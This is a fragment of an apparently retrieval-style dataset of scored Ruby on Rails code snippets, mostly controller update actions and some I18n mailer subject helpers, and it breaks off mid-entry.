"text": "def update\n respond_to do |format|\n if @contatoprestador.update(contatoprestador_params)\n format.html { redirect_to @contatoprestador, notice: 'Contatoprestador was successfully updated.' }\n format.json { render :show, status: :ok, location: @contatoprestador }\n else\n format.html { render :edit }\n format.json { render json: @contatoprestador.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "499edc96cb9d59886edd21e15837f10d",
"score": "0.6314633",
"text": "def update\n respond_to do |format|\n if @objeto.update(etq_contador_params)\n format.html { redirect_to @objeto, notice: 'Etq contador was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "755859c3fdb1612a1933f95f65d458a0",
"score": "0.6307836",
"text": "def update\n respond_to do |format|\n if @controle.update(controle_params)\n format.html { redirect_to @controle, notice: 'Controle was successfully updated.' }\n format.json { render :show, status: :ok, location: @controle }\n else\n format.html { render :edit }\n format.json { render json: @controle.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5bd76a24a644f6b72838892241b0bd36",
"score": "0.6302971",
"text": "def update\n @telefono = Telefono.find(params[:id])\n\n respond_to do |format|\n if @telefono.update_attributes(params[:telefono])\n format.html { redirect_to @telefono, notice: 'Telefono was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @telefono.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "89dd52c322f8d15d49640912238f7373",
"score": "0.6302797",
"text": "def update\n respond_to do |format|\n if @conexao.update(conexao_params)\n format.html { redirect_to @conexao, notice: 'Conexao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @conexao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e330e9d9c7beb032890c89e3548b0bf9",
"score": "0.6298551",
"text": "def update\n @idioma = Idioma.find(params[:id])\n\n respond_to do |format|\n if @idioma.update_attributes(params[:idioma])\n format.html { redirect_to @idioma, notice: 'Idioma was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @idioma.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2932a12ebe4e0c923876edbedef37c08",
"score": "0.6298107",
"text": "def update\n #cancan @comentario = Comentario.find(params[:id])\n\n\n respond_to do |format|\n if @comentario.update_attributes(params[:comentario])\n format.html { redirect_to @comentario, notice: 'O comentário foi alterado com sucesso' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @comentario.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "73c92470db5924c0735367cead5ebef8",
"score": "0.6292838",
"text": "def update\n @foto = Fotosresposta.find(params[:id])\n\n respond_to do |format|\n if @foto.update_attributes(params[:fotosresposta])\n format.html { redirect_to @foto, notice: 'Respostas actualizadas com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d6dfdaf8803d1f46bbfffd837544bd65",
"score": "0.62857825",
"text": "def update\n respond_to do |format|\n if @tipo_concurso.update(tipo_de_concurso_params)\n format.html { redirect_to @tipo_concurso, notice: 'Tipo de concurso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipo_concurso.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d5eaea298e64625a71a15a970f3b75ed",
"score": "0.6284776",
"text": "def patch *args\n make_request :patch, *args\n end",
"title": ""
},
{
"docid": "6a1559ac471ca3a02c90ca2c6899edde",
"score": "0.62836754",
"text": "def update\n respond_to do |format|\n if @contenido.update(contenido_params)\n format.html { redirect_to @contenido, notice: 'Contenido was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contenido.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "168f392ce4549ff5a777afdb51fd237d",
"score": "0.62800694",
"text": "def update\r\n respond_to do |format|\r\n if @contato.update(contato_params)\r\n format.html { redirect_to session[:prev_url], notice: 'Contato atualizado com sucesso.' }\r\n format.json { render :show, status: :ok, location: session[:prev_url] }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @contato.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "d8699a28d0e352fe8c6fd0623601f382",
"score": "0.62797695",
"text": "def update\n respond_to do |format|\n if @tipo_de_conta.update(tipo_de_conta_params)\n addlog(\"Tipo de conta atualizado\")\n format.html { redirect_to @tipo_de_conta, notice: 'Tipo de atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @tipo_de_conta }\n else\n format.html { render :edit }\n format.json { render json: @tipo_de_conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "04d51aa212185cdcc914b45e24ec57ec",
"score": "0.62778187",
"text": "def update\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to \"/dados\", notice: 'Suas informações foram alteradas com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b38ba77166efbed58295411e8b963f78",
"score": "0.6277625",
"text": "def update\n @contenuto = Contenuto.find(params[:id])\n\n respond_to do |format|\n if @contenuto.update_attributes(params[:contenuto])\n format.html { redirect_to(@contenuto, :notice => 'Contenuto was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @contenuto.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "91132b4d82a7f93f46d59cd054188fca",
"score": "0.62763816",
"text": "def update\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to @cliente, :notice => 'Cliente atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cliente.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "587dc9f0563ef0779bc576eb3ad41199",
"score": "0.6275093",
"text": "def update\n @inventario = Inventario.find(params[:id])\n\n respond_to do |format|\n if @inventario.update_attributes(params[:inventario])\n format.html { redirect_to @inventario, notice: 'Inventario was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inventario.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e4cc7c5903622228d3e2d1fda84b6b67",
"score": "0.62689793",
"text": "def update\n respond_to do |format|\n if @atribuicao.update(atribuicao_params)\n format.html { redirect_to @atribuicao, notice: 'Atribuicao foi atualizado(a) com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @atribuicao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5adfab8b284d5fbe4bcdc307687d2aa3",
"score": "0.626876",
"text": "def update\n @opcion = Opcion.find(params[:id])\n\n if @opcion.update(params[:opcion])\n head :no_content\n else\n render json: @opcion.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "5b704c0ec811a1ce1d9b1082e1b18643",
"score": "0.6267086",
"text": "def update\n respond_to do |format|\n if @cliente_juridico.update(cliente_juridico_params)\n format.html { redirect_to @cliente_juridico, notice: 'Cliente juridico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cliente_juridico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0a565cef00d6874eb6d07052cd70dfab",
"score": "0.62626517",
"text": "def update(json_resource)\n jsonapi_request(:patch, \"#{@route}/#{json_resource['id']}\", \"data\"=> json_resource)\n end",
"title": ""
},
{
"docid": "430945b2b82498b1bd0d4a9e0b26b5a7",
"score": "0.62564564",
"text": "def update\n @ventas_cliente = Ventas::Cliente.find(params[:id])\n\n respond_to do |format|\n if @ventas_cliente.update_attributes(params[:ventas_cliente])\n format.html { redirect_to @ventas_cliente, notice: 'Cliente was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ventas_cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d61ab9435dd0ad8a03f854ba4b009d08",
"score": "0.62538004",
"text": "def update\n @ejercicio1 = Ejercicio1.find(params[:id])\n\n respond_to do |format|\n if @ejercicio1.update_attributes(params[:ejercicio1])\n format.html { redirect_to @ejercicio1, notice: 'Ejercicio1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ejercicio1.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "274e5b7b2f4be160e1bfe5d1b6d545d8",
"score": "0.6250242",
"text": "def update\n @formulario = Formulario.find(params[:id])\n\n respond_to do |format|\n if @formulario.update_attributes(params[:formulario])\n format.html { redirect_to formularios_path }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @formulario.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7e480ceba34688b87655bb97e8ed1d15",
"score": "0.62497294",
"text": "def update\n @receipe = Receipe.find(params[:id])\n\n if @receipe.update(receipe_params)\n head :no_content\n else\n render json: @receipe.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "ba8ef0c784b53dc4a1c12ee8846dc5db",
"score": "0.6245073",
"text": "def update \n @complaint = Complaint.find(params[:id])\n\n respond_to do |format|\n if @complaint.update_attributes(params[:complaint])\n format.html { redirect_to @complaint, notice: 'Complaint was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @complaint.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2b382a41b432c69eff945dbe64c2a87a",
"score": "0.62446564",
"text": "def update\n @peticion_peticion_servicio_ti = Peticion::PeticionServicioTi.find(params[:id])\n\n respond_to do |format|\n if @peticion_peticion_servicio_ti.update_attributes(params[:peticion_peticion_servicio_ti])\n format.html { redirect_to edit_peticion_peticion_servicio_ti_path(@peticion_peticion_servicio_ti), notice: 'Actualizado Correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @peticion_peticion_servicio_ti.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "21705f3bad91c51b4564a20a93a8d665",
"score": "0.6244168",
"text": "def update\n respond_to do |format|\n if @servicio_de_cinerario.update(servicio_de_cinerario_params)\n format.html { redirect_to @servicio_de_cinerario, notice: 'Servicio de cinerario was successfully updated.' }\n format.json { render :show, status: :ok, location: @servicio_de_cinerario }\n else\n format.html { render :edit }\n format.json { render json: @servicio_de_cinerario.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7f7c16b9e14f1352bb07fd27f83679a7",
"score": "0.62436813",
"text": "def patch(path, params: {}, headers: {})\n request_json :patch, path, params, headers\n end",
"title": ""
},
{
"docid": "d217d5583a92851cae986efb72ea3738",
"score": "0.62435883",
"text": "def update\n @clinica = Clinica.find(params[:id])\n\n respond_to do |format|\n if @clinica.update_attributes(params[:clinica])\n format.html { redirect_to @clinica, notice: 'Clinica was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clinica.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0fa4095d013435c483c98dcf834e0b9f",
"score": "0.62421936",
"text": "def update\n @objeto = Objeto.find(params[:id])\n\n respond_to do |format|\n if @objeto.update_attributes(params[:objeto])\n format.html { redirect_to @objeto, notice: 'Objeto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b8895e7e549087fc142d49290dee9c60",
"score": "0.6238811",
"text": "def update\n respond_to do |format|\n if @tipo_servicio.update(tipo_servicio_params)\n format.html { redirect_to @tipo_servicio, notice: 'Tipo servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_servicio }\n else\n format.html { render :edit }\n format.json { render json: @tipo_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "88a22485dda2c42a3a367e32bec012e3",
"score": "0.62373435",
"text": "def update\n respond_to do |format|\n if @contrato.update(contrato_params)\n format.html { redirect_to @contrato, notice: 'Contrato was successfully updated.' }\n format.json { render :show, status: :ok, location: @contrato }\n else\n format.html { render :edit }\n format.json { render json: @contrato.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0fde10e061a7291d10352f8ad9a34082",
"score": "0.6237067",
"text": "def update\n @pec_complaint = PecComplaint.find(params[:id])\n #abort params[:pec_complaint][:pec_complaint_files_attributes]['0'][:id].inspect\n\n respond_to do |format|\n if @pec_complaint.update_attributes(params[:pec_complaint])\n format.html { redirect_to @pec_complaint, notice: 'Pec complaint was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pec_complaint.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c12da2e82f7ebb07b8bf7e4cd31b5f40",
"score": "0.62369925",
"text": "def update\n @conta = Conta.find(params[:id])\n\n respond_to do |format|\n if @conta.update_attributes(params[:conta])\n flash[:notice] = 'Conta atualizada com sucesso.'\n format.html { redirect_to(@conta) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @conta.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "27362c76028cdd29a9f9d5d9d943c4b7",
"score": "0.6236388",
"text": "def update\r\n if (permissao)\r\n respond_to do |format|\r\n if @servico.update(servico_params)\r\n format.html { redirect_to laboratorio_servicos_url(@laboratorio), notice: 'Servico was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @servico }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @servico.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n else\r\n respond_to do |format|\r\n format.html { redirect_to laboratorio_servicos_url(@laboratorio), notice: 'Não tem permissão para editar.' }\r\n format.json { head :no_content }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "fbf31aef3aad8d664af2934ba4bef514",
"score": "0.623295",
"text": "def update\n respond_to do |format|\n if @tipo_servico.update(tipo_servico_params)\n format.html { redirect_to @tipo_servico, notice: 'Tipo servico atualizado com sucesso!' }\n format.json { render :show, status: :ok, location: @tipo_servico }\n else\n format.html { render :edit }\n format.json { render json: @tipo_servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.6230237",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.6230237",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "bde4a23b195ba83bcb52be2fffefc1c1",
"score": "0.62296563",
"text": "def update\n respond_to do |format|\n if @cio.update(cio_params)\n format.html { redirect_to @cio, notice: 'Cio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c12f007bf68caea7423a4226f074aea2",
"score": "0.62261045",
"text": "def update\n @consignado = Consignado.find(params[:id])\n\n respond_to do |format|\n if @consignado.update_attributes(params[:consignado])\n format.html { redirect_to @consignado, notice: 'Consignado was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @consignado.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e8cfdce5b0eeeba4fc38e063721573ed",
"score": "0.6225614",
"text": "def update\n @jogo = Jogo.find(params[:id])\n \n respond_to do |format|\n if (@jogo.update_attributes(params[:jogo]))\n \n # format.json { render :json => { :success => true, :jogo_id => @jogo.id, :perguntas => new_perguntas, :respostas => new_respostas }, :status => :created, :location => @jogo }\n\n format.html { redirect_to @jogo, :notice => 'Jogo was successfully updated.' }\n else\n render :edit\n end\n end\n end",
"title": ""
}
] |
574ed5d386873517307feb4a2cbaf126 | Subject can be set in your I18n file at config/locales/en.yml with the following lookup: en.user_mailer.guest_join.subject | [
{
"docid": "8dbe4604db27a5010d6eff976181b6af",
"score": "0.0",
"text": "def guest_join(user)\n @user = user\n\n mail(to: @user.email, subject: 'Your challenge is ready!')\n end",
"title": ""
}
] | [
{
"docid": "ea740e704e8f1173fb87b45dfcaaf989",
"score": "0.7600442",
"text": "def subject_for(key)\n I18n.t(:subject, scope: [:mailer, key])\n end",
"title": ""
},
{
"docid": "8928fe4f050d7ebd3e9aa992b07e320a",
"score": "0.753808",
"text": "def subject_for\n ActiveSupport::Deprecation.warn \"subject_for\"\n I18n.t(:\"subject\", scope: [:notifications, :mailer],\n default: [:subject])\n end",
"title": ""
},
{
"docid": "542885bb44aabef24a05ce9d9749449c",
"score": "0.7405142",
"text": "def subject_for(key)\n I18n.t(:\"#{devise_mapping.name}_subject\", scope: [:devise, :mailer, key],\n default: [:subject, key.to_s.humanize])\n end",
"title": ""
},
{
"docid": "dc7d12811f6d234ea98ad06ca7ef51d8",
"score": "0.6889316",
"text": "def default_i18n_subject(interpolations = {}) # :doc:\n mailer_scope = self.class.mailer_name.tr(\"/\", \".\")\n I18n.t(:subject, **interpolations.merge(scope: [mailer_scope, action_name], default: action_name.humanize))\n end",
"title": ""
},
{
"docid": "d559f396e2aaf6d814c15d1286fe3fa4",
"score": "0.6841491",
"text": "def translate(mapping, key)\n I18n.t(:\"#{mapping.name}_subject\", :scope => [:devise, :mailer, key],\n :default => [:subject, key.to_s.humanize])\n end",
"title": ""
},
{
"docid": "0057005be13d2471732baf09ab7f3e03",
"score": "0.6790628",
"text": "def subject\n \"[#{I18n.t('app_name')} #{Rails.env.upcase}] #{message.subject}\"\n end",
"title": ""
},
{
"docid": "75e4ae88ce617fd153e0a7564934bd04",
"score": "0.67679745",
"text": "def default_subject\n DEFAULT_SUBJECT\n end",
"title": ""
},
{
"docid": "f2fecd58a29b9acf94ad3b95a78dc2e7",
"score": "0.67637974",
"text": "def welcome_email_subject\n @attributes[:welcome_email_subject]\n end",
"title": ""
},
{
"docid": "6140e73ee355af7cdcaa1bec13316266",
"score": "0.67519164",
"text": "def subject\n @subject ||= @email.subject.to_s\n end",
"title": ""
},
{
"docid": "0c3396cb0dae322e35cdf4231cd444d6",
"score": "0.66562617",
"text": "def formatted_subject(text)\n name = PersonMailer.global_prefs.app_name\n label = name.blank? ? \"\" : \"[#{name}] \"\n \"#{label}#{text}\"\n end",
"title": ""
},
{
"docid": "c4a674d85e621eef1f1b8d2584c5ccf4",
"score": "0.6633394",
"text": "def subject\n I18n.t('flowdock.inbox_message.subject', message_type: I18n.t(\"flowdock.inbox_message.type.#{@type}\"), store_name: current_store.name)\n end",
"title": ""
},
{
"docid": "25da83c993ce4cf1f7b9941e027ed63a",
"score": "0.66229224",
"text": "def subject\n email_message.subject\n end",
"title": ""
},
{
"docid": "c99eda28be9b3fe1f10546bb5e4340fb",
"score": "0.66226643",
"text": "def digest_email_subject(digest_group = nil)\n if digest_group\n translate_path = \"digest_notifier.#{digest_group.i18n_name_space}.email_subjsct\"\n \"#{DigestNotifier.app_name} #{I18n::t(translate_path, :default => 'todays updates')}\"\n else\n \"#{DigestNotifier.app_name} #{I18n::t('digest_notifier.email_subject', :default => 'todays updates')}\"\n end\n end",
"title": ""
},
{
"docid": "adc4d6f399275aa030fdd9d865497b26",
"score": "0.6562852",
"text": "def subject(subj)\n if not subj.instance_of? String\n STDERR.puts \"ELTmail::Mail: subject ERROR: requires a String\"\n exit 1\n end\n @subject=subj\n @message.header.subject=@subject\n end",
"title": ""
},
{
"docid": "8ce192cb0eeac1cca7c1d5f1295be992",
"score": "0.6536293",
"text": "def subject\n @subject ||= convert(Mail::Encodings.decode_encode(message.subject || '', :decode))\n end",
"title": ""
},
{
"docid": "65bc93ce070dc297b0749b44e859fbe2",
"score": "0.64569515",
"text": "def default_i18n_subject(interpolations = {})\n I18n.t(:subject, interpolations.merge(i18n_default_params))\n end",
"title": ""
},
{
"docid": "a88f0f72dc91909c2d67b95574182c34",
"score": "0.6415047",
"text": "def subject\n @msg['Subject']\n end",
"title": ""
},
{
"docid": "a88f0f72dc91909c2d67b95574182c34",
"score": "0.6415047",
"text": "def subject\n @msg['Subject']\n end",
"title": ""
},
{
"docid": "0d214ce6c70e5f2f96c759e4cff712c7",
"score": "0.6401662",
"text": "def subject\n fetch('educator.subject')\n end",
"title": ""
},
{
"docid": "d0e1de61fdd3b17c2381046c60ded7bd",
"score": "0.6362796",
"text": "def subject_name\n subject_full_name\n end",
"title": ""
},
{
"docid": "d2f26cb27e81ae8b03fd141a0f231955",
"score": "0.6350188",
"text": "def subject=(subject); @message_impl.setSubject subject; end",
"title": ""
},
{
"docid": "dc0e2948b8652d7848b464a5ec15a020",
"score": "0.6345266",
"text": "def subject(string)\n self << \"SUBJECT\" << string\n end",
"title": ""
},
{
"docid": "2316f65233b6fb2d5ca6cbcf9856af69",
"score": "0.6325478",
"text": "def deliver_invitation(options = {})\n super(options.merge(subject: _('A Data Management Plan in %{application_name} has been shared with you') % {application_name: Rails.configuration.branding[:application][:name]}))\n end",
"title": ""
},
{
"docid": "18b111f45ada5085dece93ef7fd198d8",
"score": "0.6308832",
"text": "def topic_subject\n \"#{subject_topic} - #{name}\"\n end",
"title": ""
},
{
"docid": "519f685ed317139cbea72085c30086ef",
"score": "0.6258753",
"text": "def subject(*extra)\n subject = []\n\n subject.concat(extra) if extra.present?\n\n if core_config['email_subject_suffix'].present?\n subject << core_config['email_subject_suffix']\n end\n\n subject.join(' | ')\n end",
"title": ""
},
{
"docid": "5fb60ea7315445d7605e1eead17dd1e9",
"score": "0.62557435",
"text": "def subject\n env['trinity.subject']\n end",
"title": ""
},
{
"docid": "8a5f0f8f2669885dc872baa7143b45c7",
"score": "0.62363464",
"text": "def subject_label=(label)\n @subject_label = label\n @subject_label_customized = true\n end",
"title": ""
},
{
"docid": "3ced77486c3fe9f91298bd4216254c91",
"score": "0.622085",
"text": "def subject_name\n nil unless @subject\n if subject_class.respond_to?(:human_name)\n subject_class.human_name(:locale => Remarkable.locale)\n else\n subject_class.name\n end\n end",
"title": ""
},
{
"docid": "acf6d147f72804aba88819156ef816a8",
"score": "0.6189777",
"text": "def subject=(subject)\n @subject=subject\n end",
"title": ""
},
{
"docid": "8e5e8a32e59042d47143922abe60d271",
"score": "0.6178798",
"text": "def get_subject(params = {}, alternate_text = '')\n\n # set the subject to the default if nothing else better comes along\n subject = alternate_text\n\n # we have to guard against templates not being loaded\n if @notification_template && @notification_template.subject\n subj_template = Liquid::Template.parse(@notification_template.subject) rescue nil\n subject = subj_template.render({'params' => params})\n end\n subject\n end",
"title": ""
},
{
"docid": "2d6331689dbede789150dacf78dbe51f",
"score": "0.61681294",
"text": "def subject( default = nil )\n if h = @header['subject']\n h.body\n else\n default\n end\n end",
"title": ""
},
{
"docid": "23eff6c61a6c900432383b9130c65add",
"score": "0.61675835",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "3595e96093bf4fdb3c90ed70810c54bc",
"score": "0.6159423",
"text": "def subject(string)\n return add_params(SUBJECT, string)\n end",
"title": ""
},
{
"docid": "086f3cabbe22eb51f456ff15266621f2",
"score": "0.6155826",
"text": "def subject=(s)\n msg = Message.new\n msg.subject = s\n send(msg)\n end",
"title": ""
},
{
"docid": "0e679dd9a9eb0f4062d41f4be02e2f76",
"score": "0.6128045",
"text": "def subjects\n @subjects ||= {\n :price => t('subjects_price'),\n :questions => t('subjects_questions'),\n :marketing => t('subjects_marketing'),\n :design => t('subjects_design'),\n :hosting => t('subjects_hosting'),\n :other => t('subjects_other')\n }\n end",
"title": ""
},
{
"docid": "09fd44300aaaa367f6fa38dd31fcbb56",
"score": "0.6122452",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "09fd44300aaaa367f6fa38dd31fcbb56",
"score": "0.6122452",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "09fd44300aaaa367f6fa38dd31fcbb56",
"score": "0.6122452",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "09fd44300aaaa367f6fa38dd31fcbb56",
"score": "0.6122452",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "09fd44300aaaa367f6fa38dd31fcbb56",
"score": "0.6122452",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "09fd44300aaaa367f6fa38dd31fcbb56",
"score": "0.6122452",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "09fd44300aaaa367f6fa38dd31fcbb56",
"score": "0.6122452",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "c467d463e8e174d4b909bb1a9e466b55",
"score": "0.6116016",
"text": "def subject\n envelope[:subject]\n end",
"title": ""
},
{
"docid": "6e74d38982d77ab2d4f1247a232115b0",
"score": "0.6100674",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "0bb51af8e2fb83533ca430c259063010",
"score": "0.6097989",
"text": "def subject(subj = nil)\n set_multi_simple(:subject, subj)\n end",
"title": ""
},
{
"docid": "20e4267b6397ef5409d8d48a8cdac18d",
"score": "0.6090851",
"text": "def add_default_subject\n self.subject = 'IMPORTANT!!!'\n end",
"title": ""
},
{
"docid": "98da9102c01851fa213c08ba869b9856",
"score": "0.60770607",
"text": "def subject=(subject)\n @subject = subject\n end",
"title": ""
},
{
"docid": "5b97accc2422140e68c3765af2839e19",
"score": "0.6071531",
"text": "def subject\n\n unless @subject\n subject = mail.subject.strip rescue \"\"\n ignores = config['ignore']['text/plain']\n if ignores && ignores.detect{|s| s == subject}\n @subject = \"\"\n else\n @subject = transform_text('text/plain', subject).last\n end\n end\n\n @subject\n end",
"title": ""
},
{
"docid": "c6afc3626cbbe68cf6cd38b69eea3b85",
"score": "0.6067984",
"text": "def setup_mail( recipient, data, key, translation_data = {} )\n subject \"[#{ self.class.site_name }] #{ translate( key, translation_data ) }\"\n from NOTIFICATION_EMAILS_COME_FROM # config/initializers/50_general_settings.rb\n recipients recipient\n sent_on Time.now\n content_type 'text/plain'\n body render(\n :file => \"canvass_mailer/#{ key }.txt.erb\",\n :body => { :data => data }\n )\n end",
"title": ""
},
{
"docid": "91927af29dd0e00c0374e761ec60174c",
"score": "0.60564095",
"text": "def subject_prefix\n return \"[#{SUBJECT_PREFIX}] \" if Object.const_defined?('SUBJECT_PREFIX')\n ''\n end",
"title": ""
},
{
"docid": "01df34cad757e9ffe18fd8399921934c",
"score": "0.60497344",
"text": "def subject\n @config[\"subject\"]\n end",
"title": ""
},
{
"docid": "1ed364e3ab9abb0823f0d98e397e066d",
"score": "0.6045812",
"text": "def email_subject_request\n # XXX pull out this general_register_office specialisation\n # into some sort of separate jurisdiction dependent file\n if self.public_body.url_name == 'general_register_office'\n # without GQ in the subject, you just get an auto response\n _('{{law_used_full}} request GQ - {{title}}',:law_used_full=>self.law_used_full,:title=>self.title)\n else\n _('{{law_used_full}} request - {{title}}',:law_used_full=>self.law_used_full,:title=>self.title)\n end\n end",
"title": ""
},
{
"docid": "422b8a96f3d51add2d884b8ab82a0752",
"score": "0.6026939",
"text": "def massage_subject(subject='',errata=nil)\n \"ET: #{\"#{errata.name_release_and_short_title}\" if errata}#{\"#{' - ' if errata}#{subject}\" if !subject.blank?}\"\n end",
"title": ""
},
{
"docid": "441e62b981d3668556119f56fbc674a3",
"score": "0.6004272",
"text": "def set_subject(default_subject)\n Rails.env.production? ? default_subject : \"TEST-#{default_subject}\"\n end",
"title": ""
},
{
"docid": "9f95361cf5e95156660c6c2cbddcb24a",
"score": "0.59735626",
"text": "def subject_and_body\n if subject.blank?\n body.blank? ? '' : body\n else\n body.blank? ? subject : \"#{subject} - #{body}\"\n end\n end",
"title": ""
},
{
"docid": "8e5bb2f9f4da818e09d65fd034e6a47e",
"score": "0.5962643",
"text": "def subject_for(old_badge_level, new_badge_level, lost_level)\n if lost_level\n t('report_mailer.subject_no_longer_passing', old_level: old_badge_level)\n else\n t('report_mailer.subject_achieved_passing', new_level: new_badge_level)\n end\n end",
"title": ""
},
{
"docid": "c7fe9eb9791969613657a4a933105c7e",
"score": "0.5958244",
"text": "def conversation_subject\n \"#{user_1.name} desea participar en el evento '#{event.name}'\"\n end",
"title": ""
},
{
"docid": "fa33adbf1eecc39bcd457b78590d6d3f",
"score": "0.5953007",
"text": "def subject=(s)\n\t\t@subject = s\n\tend",
"title": ""
},
{
"docid": "4d8058de5ee50494a343c536b1883767",
"score": "0.595122",
"text": "def build_subject(uid, subject)\n return \"[TW-#\" + uid + \"] \" + subject\n end",
"title": ""
},
{
"docid": "ce72ea2c01f9e591e0965c13710c092e",
"score": "0.59241515",
